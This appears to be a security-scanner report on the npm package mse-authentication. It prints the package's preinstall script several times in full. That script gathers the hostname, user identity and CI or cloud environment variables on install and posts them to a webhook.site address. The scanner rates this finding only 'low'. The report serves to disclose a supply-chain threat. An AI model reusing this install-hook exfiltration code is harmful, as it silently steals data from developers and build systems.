Package evidence
[email protected]
Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""
Trust signals
Why this verdict
PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.
- Versions published
- 2
- First published
- May 2026
- Publisher
- kohliking
Recommended action
Review before promotingMixed signals: the package has indicators worth reading before allowing the update in automated dependency flows.
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-d '{"specs":["[email protected]"],"fail_on":"review"}'Why flagged
What the scanner saw
Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""
Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.
Availability ledger
scan error
Latest scanner note: error decoding response body
Status history (2 events)
- available → scan_error · risk none · score — · error decoding response body
- new → available · risk review · score 5 · status changed
Evidence
Static findings
1 static · 0 from release diff · showing high-signal first.
No high-signal findings — see all findings below.
Show all 1 findings (low-signal and informational)
| Severity | Kind | Path | Detail | Points |
|---|---|---|---|---|
| low | Install-time lifecycle script | package.json | preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \"" | 5 |
Manifest
Package metadata
Scripts1
preinstallnode -e " try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} "